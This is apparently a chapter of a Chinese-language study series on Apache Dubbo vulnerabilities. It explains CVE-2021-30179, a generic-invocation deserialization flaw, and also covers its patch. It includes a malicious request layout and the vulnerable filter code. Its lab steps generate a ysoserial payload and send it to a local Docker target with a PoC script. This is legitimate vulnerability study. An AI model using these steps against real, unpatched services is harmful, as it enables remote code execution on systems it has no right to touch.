Dubbo漏洞 - 09 CVE-2021-30179

CVE-2021-30179 — 泛化调用反射 RCE

漏洞概述

CVE 编号:CVE-2021-30179

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.5.x ~ 2.7.9, 3.0.0

修复版本:2.7.10, 2.6.10, 3.0.1

攻击协议:Dubbo 协议

攻击入口:GenericFilter(泛化调用过滤器)

漏洞原理

什么是泛化调用

Dubbo 的泛化调用(Generic Invoke)允许 Consumer 在不依赖 Provider 接口 JAR的情况下发起调用

使用方式:$invoke(方法名, 参数类型数组, 参数值数组)

默认启用,无法关闭

三种攻击路径(GitHub Security Lab 发现)

路径一:强制使用 Java 原生序列化

在 RPC Attachment 中设置 generic=nativejava

GenericFilter 收到请求后,使用 Java 原生反序列化处理参数

所有 ysoserial gadget chain 均可利用

路径二:强制使用 Bean 序列化

设置 generic=bean

GenericFilter 使用 JavaBeanDescriptor 反序列化

可以实例化任意类并调用 setter 方法 → JNDI 注入

路径三:利用 raw.return 绕过

设置 generic=raw.return

GenericFilter 跳过类型检查

参数直接传递给业务方法

路径一详解(最常用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
攻击者构造 RPC 请求:
┌─────────────────────────────────────────────────┐
│ Dubbo Header: DA BB C2 00 ... │
Body:
dubbo_version: "2.7.8"
service: "com.vuln.api.DemoService"
version: "0.0.0"
method: "$invoke" ← 泛化调用入口 │
param_types: "Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;"
param_values:
│ [0] = "sayHello" ← 方法名 │
│ [1] = ["java.lang.String"] ← 参数类型 │
│ [2] = [恶意序列化对象] ← Java 原生 payload│
attachments:
"generic" = "nativejava" ← 关键!强制 Java 反序列化 │
└─────────────────────────────────────────────────┘

GenericFilter 处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// GenericFilter.invoke() 简化逻辑
public Result invoke(Invoker<?> invoker, Invocation inv) {
String generic = inv.getAttachment("generic");

if ("nativejava".equals(generic)) {
// 使用 Java 原生反序列化!
for (int i = 0; i < args.length; i++) {
byte[] argBytes = (byte[]) args[i];
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(argBytes));
args[i] = ois.readObject(); // ← 直接反序列化,无检查!
}
} else if ("bean".equals(generic)) {
// 使用 JavaBeanDescriptor
// 可以实例化任意类 + 调用 setter → JNDI
}
// ...
}

复现步骤

环境搭建

1
2
cd environments/cve-2021-30179
docker-compose up -d

攻击步骤

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 生成 Java 原生反序列化 payload
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > payload.bin

# 2. 发送泛化调用请求(Python PoC 会自动构造)
# PoC 会:
# - 构造 $invoke 方法调用
# - 在 attachment 中设置 generic=nativejava
# - 将 payload.bin 作为第三个参数
python exploits/cve_2021_30179_generic.py \
--target 127.0.0.1 \
--port 20880 \
--payload payload.bin

补丁分析

Dubbo 2.7.10 修复

移除 nativejava 泛化调用类型

GenericFilter 不再支持 generic=nativejava 参数

添加了更严格的泛化调用类型白名单

修复代码

1
2
3
4
5
6
7
8
9
// 修复后的 GenericFilter
private static final Set<String> ALLOWED_GENERIC_TYPES = new HashSet<>(
Arrays.asList("true", "raw.return", "bean")
);
// "nativejava" 被移除

if (!ALLOWED_GENERIC_TYPES.contains(generic)) {
throw new RpcException("Unsupported generic type: " + generic);
}

关联的 Gadget Chain

路径一(nativejava):所有 ysoserial 链(CC/CB/ROME 等)

路径二(bean):JNDI 注入(XBean、Spring JNDI 等)

思考与延伸

泛化调用是 Dubbo 特有的攻击面

它本质上允许攻击者控制”使用哪种反序列化方式”

与 CVE-2021-25641(篡改 SerID)思路类似,但在应用层而非协议层

后续的 CVE-2023-23638 又找到了新的绕过方式


上一章 目录 下一章
08-CVE-2021-25641 Dubbo漏洞 10-CVE-2021-30180